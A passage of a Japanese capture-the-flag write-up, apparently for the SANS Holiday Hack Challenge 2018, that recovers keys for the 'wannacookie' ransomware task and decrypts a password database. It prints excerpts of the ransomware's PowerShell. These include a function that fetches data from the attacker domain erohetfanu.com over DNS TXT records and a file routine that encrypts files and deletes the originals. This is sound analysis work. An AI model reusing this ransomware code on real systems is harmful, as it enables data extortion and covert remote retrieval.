に対応する秘密鍵が必要で、犯人しか持っていないはず。
7365727665722E637274
がASCII文字っぽいことに気付く。
>>> import binascii >>> binascii.unhexlify(b'7365727665722E637274') b'server.crt'
server.crt
!
ちょ、そのまんま!!!
秘密鍵server.key
を同じ要領で取得できるかも。
>>> binascii.hexlify('server.key'.encode("utf-8")) b'7365727665722e6b6579'
公開鍵$p_k
の取得と同じくg_o_dns
関数を使う。
PS D:\Develop\CTF\Contest\HolidayChallenge2018> $(g_o_dns("7365727665722e6b6579")); -----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3 HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4 tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc 0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN 6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U 3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9 uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2 Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG 4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB 0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498 /P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q 8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4 eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4 Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq UdrzXvSwyFuuIqBlkHnWSIeC -----END PRIVATE KEY-----
ビンゴ!
あとは$p_k_e_k
がわかれば、共通鍵$b_k
を復号して、ファイル復号できそうだ。
$p_k_e_k
を得るため、メモリダンプを解析する。以下のツールを使った。
github.com
Power Dumpは、文字列長や文字種を条件にメモリ内の変数の値を検索できる。
まずは$p_k_e_k
がどういったフォーマットか確認する。
function H2A() { Param($a); $outa; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_, 16))} | forEach {$outa = $outa + $_}; return $outa }; function B2H { param($DEC); $tmp = ''; ForEach ($value in $DEC) { $a = "{0:x}" -f [Int]$value; if ($a.length -eq 1) { $tmp += '0' + $a } else { $tmp += $a } }; return $tmp }; function p_k_e($key_bytes, [byte[]]$pub_bytes) { $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2; $cert.Import($pub_bytes); $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true); return $(B2H $encKey) }; function g_o_dns($f) { $h = ''; foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10) - 1)) { $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings }; return (H2A $h) }; $p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) ); $b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00}); $p_k_e_k = (p_k_e $b_k $p_k).ToString(); ($p_k_e_k)
何度か実行する。
PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\gen_p_k_e_k.ps1 3642154ea22d0ca93c166cc22989cfc3e6bdc60e253732d0107750e394208fae51b568a1077ac4542ccb7344f414f60be1e686178e6f4b1920d7fa711af59fef42ba6fe9fc38b0170ca042a92ba89bce145ca27c332bffe5be13d8730cae68846530c7728cc1b8e85da66b4b91943fd080c8ec219a2909b85e59aaa55e6bbdcef3df72012f568f0c6eae3fd32ef5bfc3e8c0843876b6b385333684cc3bda166da0b8a6791df7905900839670f6680e5248ed231f43c760a88f585a32f1fbff941dde558504a97e08d5826d3cd46a1b285897730c652f9bbc968be45718a113258b97dfcfdec1d7d777e9eee8f0f3f91cbef8bdcc58e39647dbbdce60ffedab77 PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\gen_p_k_e_k.ps1 14399dc6a9dea0d9b1fc337c05551336bee6e58ab79b7e03f152de1072bf1db1e45037ad18cdd56c4ec88ff83644d0991fa70bff32df07be221afcd41fc5d299d561194106eebec8fd5fc755c8bd0aa50e89980a975180cb10412df35427f9d5a79e615b998ac0c2562e35ed7c9741b01c49278cb19dc27fe11144a28b7525facca69741759d1617169041a729c06e8927fe63a7f3b211cbe5e44020ab1eb59badee000b2a6a8b076668eb511cd6200c0315b7614ec024bf89a01ab60562f08064db7ef5889758b0fc41b96b25935476da8140427e3ca79acd5b724f77c69d2936193b81876691c0f6fd4dcf88d9373b181013e2e8de7c0ac8abfa1642645e67 PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\gen_p_k_e_k.ps1 2445dca52cc037d2dea5e85a6854285d4090e08cc3064c5aa3ed150d29f313e6806904c2ce8bfad14b4b825cef4b63c9e4143c7ba1613bf6098c8c1e91e862f1feb3f291eb65450b531672c6be6bc75bdf28a538917ee2b775df0661f303bc3598db2fb32b296af1b7b3535d62b518f5d1910f536c2e1bed716b961b4b8db5bfb2100887afa7697cd14edf8ac08fb3fa02407392397b05042c79d899f538982a6167fd8bcb76b26e3cc6b8687391f209fa64d6749dfc941fb4c08341b955a1874601da91fdfab450d08a042c4974b366c8692467636bc374dcff6d8a832ba182b19200e968e8552162a13a0acbb41adeb71024cad5522e9f380e037a4eed9a74
512文字の16進数文字列ということがわかったので、Power Dumpを実行して$p_k_e_k
変数の値を特定する。
root@kali:~/Contest/HolidayChallenge2018# python power_dump.py powershell.exe_181109_104716.dmp ============================== | __ \ | |__) |____ _____ _ __ | ___/ _ \ \ /\ / / _ \ '__| | | | (_) \ V V / __/ | |_| \___/ \_/\_/ \___|_| __ __ \ \ ( ) / / \ \_ ( ) ( _/ / \__\ ) _ ) /__/ \\ ( \_ // `\ _(_\ \)__ /' (____\___)) _____ _ _ __ __ _____ | __ \| | | | \/ | __ \ | | | | | | | \ / | |__) | | | | | | | | |\/| | ___/ | |__| | |__| | | | | | |_____/ \____/|_| |_|_| Dumps PowerShell From Memory ============================== ======================================= 1. Load PowerShell Memory Dump File 2. Process PowerShell Memory Dump 3. Search/Dump Powershell Scripts 4. Search/Dump Stored PS Variables e. Exit : 1 ============ Load Dump Menu ================ COMMAND | ARGUMENT | Explanation ========|====================|============== ld | /path/to/file.name | load mem dump ls | ../directory/path | list files B | | back to menu ============= Loaded File: ================= ============================================ : ld powershell.exe_181109_104716.dmp ============ Load Dump Menu ================ COMMAND | ARGUMENT | Explanation ========|====================|============== ld | /path/to/file.name | load mem dump ls | ../directory/path | list files B | | back to menu ============= Loaded File: ================= powershell.exe_181109_104716.dmp 427762187 ============================================ : B ============ Main Menu ================ Memory Dump: powershell.exe_181109_104716.dmp Loaded : True Processed : False ======================================= 1. Load PowerShell Memory Dump File 2. Process PowerShell Memory Dump 3. Search/Dump Powershell Scripts 4. Search/Dump Stored PS Variables e. Exit : 2 [i] Please wait, processing memory dump... [+] Found 65 script blocks! [+] Found some Powershell variable names to work with... [+] Found 10947 possible variables stored in memory Would you like to save this processed data for quick processing later "Y"es or "N"o? : Successfully Processed Memory Dump! Press Enter to Continue... ============ Main Menu ================ Memory Dump: powershell.exe_181109_104716.dmp Loaded : True Processed : True ======================================= 1. Load PowerShell Memory Dump File 2. Process PowerShell Memory Dump 3. Search/Dump Powershell Scripts 4. Search/Dump Stored PS Variables e. Exit : 4 [i] 10947 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : len == 512 ================ Filters ================ 1| LENGTH len(variable_values) == 512 [i] 1 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : print 1 3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971 Press Enter to Continue...
512文字を条件にした段階で一意に特定できた。
$p_k_e_k
は、
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
のようだ。
このままでは16進数表現の文字列であるためバイナリ化する。xxdを使ってもCyberChefを使ってもよい。慣れた方法でどうぞ。
root@kali:~/Contest/HolidayChallenge2018# hexdump -C p_k_e_k.key 00000000 3c f9 03 52 2e 1a 39 66 80 5b 50 e7 f7 dd 51 dc |<..R..9f.[P...Q.| 00000010 79 69 c7 3c fb 16 63 a7 5a 56 eb f4 aa 4a 18 49 |yi.<..c.ZV...J.I| 00000020 d1 94 90 05 43 7d c4 4b 84 64 dc a0 56 80 d5 31 |....C}.K.d..V..1| 00000030 b7 a9 71 67 2d 87 b2 4b 7a 6d 67 2d 1d 81 1e 6c |..qg-..Kzmg-...l| 00000040 34 f4 2b 2f 8d 7f 2b 43 aa b6 98 b5 37 d2 df 2f |4.+/..+C....7../| 00000050 40 1c 2a 09 fb e2 4c 58 33 d2 c5 86 11 39 c4 b4 |@.*...LX3....9..| 00000060 d3 14 7a bb 55 e6 71 d0 ca c7 09 d1 cf e8 68 60 |..z.U.q.......h`| 00000070 b6 41 7b f0 19 78 99 50 d0 bf 8d 83 21 8a 56 e6 |.A{..x.P....!.V.| 00000080 93 09 a2 bb 17 dc ed e7 ab ff fd 06 5e e0 49 1b |............^.I.| 00000090 37 9b e4 40 29 ca 43 21 e6 04 07 d4 4e 6e 38 16 |7..@).C!....Nn8.| 000000a0 91 da e5 e5 51 cb 23 54 72 7a c2 57 d9 77 72 21 |....Q.#Trz.W.wr!| 000000b0 88 a9 46 c7 5a 29 5e 71 4b 66 81 09 d7 5c 00 10 |..F.Z)^qKf...\..| 000000c0 0b 94 86 16 78 ea 16 f8 b7 9b 75 6e 45 77 6d 29 |....x.....unEwm)| 000000d0 26 8a f1 72 0b c4 99 95 21 7d 81 4f fd 1e 4b 6e |&..r....!}.O..Kn| 000000e0 dc e9 ee 57 97 6f 9a b3 98 f9 a8 47 9c f9 11 d7 |...W.o.....G....| 000000f0 d4 76 81 a7 71 52 56 39 06 a2 c2 9c 6d 12 f9 71 |.v..qRV9....m..q| 00000100
opensslコマンドを使用して$b_k
を復号する。
暗号化処理である$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);
の第2引数が$true
であるため、OAEP パディングを使用している。
docs.microsoft.com
このため、opensslコマンドに-oaepオプションが必要である。 www.openssl.org
root@kali:~/Contest/HolidayChallenge2018# openssl rsautl -decrypt -in "p_k_e_k.key" -inkey "server.key" -oaep > b_k.key root@kali:~/Contest/HolidayChallenge2018# hexdump -C b_k.key 00000000 fb cf c1 21 91 5d 99 cc 20 a3 d3 d5 d8 4f 83 08 |...!.].. ....O..| 00000010
ファイル暗号化の共通鍵がfbcfc121915d99cc20a3d3d5d84f8308
であることがわかった。
2次検体のソースコードから抜粋して、alabaster_passwords.elfdb.wannacookie
を復号するソースコードを書く。
function e_d_file($key, $File, $enc_it) { [byte[]]$key = $key; $Suffix = "`.wannacookie"; [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography'); [System.Int32]$KeySize = $key.Length * 8; $AESP = New-Object 'System.Security.Cryptography.AesManaged'; $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC; $AESP.BlockSize = 128; $AESP.KeySize = $KeySize; $AESP.Key = $key; $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open); if ($enc_it) { $DestFile = $File + $Suffix } else { $DestFile = ($File -replace $Suffix) }; $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create); if ($enc_it) { $AESP.GenerateIV(); $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4); $FileSW.Write($AESP.IV, 0, $AESP.IV.Length); $Transform = $AESP.CreateEncryptor() } else { [Byte[]]$LenIV = New-Object Byte[] 4; $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null; $FileSR.Read($LenIV, 0, 3) | Out-Null; [Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0); [Byte[]]$IV = New-Object Byte[] $LIV; $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null; $FileSR.Read($IV, 0, $LIV) | Out-Null; $AESP.IV = $IV; $Transform = $AESP.CreateDecryptor() }; $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write); [Int]$Count = 0; [Int]$BlockSzBts = $AESP.BlockSize / 8; [Byte[]]$Data = New-Object Byte[] $BlockSzBts; Do { $Count = $FileSR.Read($Data, 0, $BlockSzBts); $CryptoS.Write($Data, 0, $Count) } While ($Count -gt 0); $CryptoS.FlushFinalBlock(); $CryptoS.Close(); $FileSR.Close(); $FileSW.Close(); Clear-variable -Name "key"; Remove-Item $File } function H2B { param($HX); $HX = $HX -split '(..)' | ? { $_ }; ForEach ($value in $HX) {[Convert]::ToInt32($value, 16)} }; e_d_file $(H2B "fbcfc121915d99cc20a3d3d5d84f8308") "alabaster_passwords.elfdb.wannacookie" $false
alabaster_passwords.elfdb.wannacookie
を同じディレクトリに置いて実行する。
PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\decrypt.ps1 PS D:\Develop\CTF\Contest\HolidayChallenge2018>
復号できた!
root@kali:~/Contest/HolidayChallenge2018# file alabaster_passwords.elfdb alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002
SQLiteのファイルであるため、DB Browser for SQLiteを使用して内容を確認する。
sqlitebrowser.org
ED#ED#EED#EF#G#F#G#ABA#BA#B
が答え。
長い道のりだった・・・。
10) Who Is Behind It All?
ピアノ型のロックを解除する問題。
8で取得したPDFファイルのキー位置を参考に、9-4で取得したE D# E D# E E D# E F# G# F# G# A B A# B A# B
を入力する。
え?間違い?
ただ、適当に入力するとこのメッセージさえ表示されない。開発者ツールでNetworkを観察すると、/checkpass.php
から以下のデータを受け取っていることがわかる。
{"success":false,"message":"offkey"}
キーを下げろとのこと。D C# D C# D D C# D E F# E F# G A G# A G# A
を入力する。
開いた!
最後の部屋には、サンタや、途中で雪まみれになっていたハンズがいた。
あまりストーリーを追いかけていなかったが、サンタが仕掛けたドッキリのようなもの?
ということで、Santa
が答え。
所感
通常のCTFとは毛色の異なる問題が多かったが、問題のバリエーションが豊かで非常に楽しんで解くことができた。
(この3連休の半分がつぶれた気がするが、悔いはない。)
個人的にベスト問題は「8) Network Traffic Forensics」。HTTP2の勉強にもなった。
BloodHoundを使うきっかけになった「5) AD Privilege Discovery」も良かった。 惜しむらくは、あまり自分が理解しきれていないことだが。
また、サブ問題やSnortルールの問題など、ターミナルを使う問題が数多くあった。アクセスの度に自分用の環境が割り当てられているようで、大量の参加者がいる中、このようなインフラを整えるとはさすがSANSだなと感じた。(ただ、開催直後は頻繁に切れていた気もする。)
来年も是非参加したい。来年はもう少し早めに解いて英語版writeupを書いてエントリーしたい。
おまけ
城門の前の右下から隠し通路があり、その先に城を一望できる展望台エリアがあった。
見つけた時は、何か隠し要素があるものかとワクテカしていたが、最後まで何もなかった。なんだこれー。